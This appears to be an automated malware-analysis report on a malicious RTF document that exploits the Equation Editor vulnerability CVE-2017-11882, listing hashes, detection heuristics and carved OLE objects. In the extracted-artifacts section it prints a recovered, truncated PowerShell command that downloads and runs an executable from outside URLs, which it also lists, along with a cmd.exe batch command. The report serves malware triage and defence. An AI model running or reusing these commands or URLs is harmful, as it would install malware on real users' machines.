RTF malware analysis — malicious · 5e6d9c2afdafafd0

MALICIOUS

RTF

17.2 KB First seen: 2019-01-25

MD5: 5a20df9f40e0840080f3cc10c21c054b SHA-1: ff097efea17d79b1fb738016a3cb2beee3781008 SHA-256: 5e6d9c2afdafafd0d5abdbfe66a57037d6c7263220c289c4fd72492d436d6ff8

402 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample is an RTF document containing embedded OLE objects, specifically targeting the Equation Editor vulnerability (CVE-2017-11882). This exploit allows for arbitrary code execution, likely to download and run a second-stage payload from the identified URLs. The presence of shellcode-related signals further supports this attack pattern.

Heuristics 10

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 3 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM

RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://bouwgoed.nl/ser0412.bin In RTF body
- http://caveaudelteatro.it/ser0412.binIn RTF body

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000002f.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x2F	449 bytes
SHA-256: `9199fdf39ec7bbd4395c31ed1b0de176b207cc6fd9ee19c4e8f177d3835fcade`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://bouwgoed.nl/ser0412.bin, http://caveaudelteatro.it/ser0412.bin Static shellcode analysis recovered command string(s): PowerShell ""function maked([String] $in){(New-Object System.Net.WebClient).DownloadFile($in,'%TMP%\lockcyrano.exe');Start-Process '%TMP%\lockcyrano.exe';}try{maked('http
`objdata_01_off00000401.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x401	3971 bytes
SHA-256: `2eb139749d6d4445fbc2fcd86999aa1d86e478ca0fa7b6df13d57e12f84e91b1`
`objdata_02_off00002477.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x2477	3546 bytes
SHA-256: `9bae0f10b86d225ee22d8ff3572e6f70a93122f45a2dc642dd9deff9dda8ff87`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c %TEMP%/task.bat

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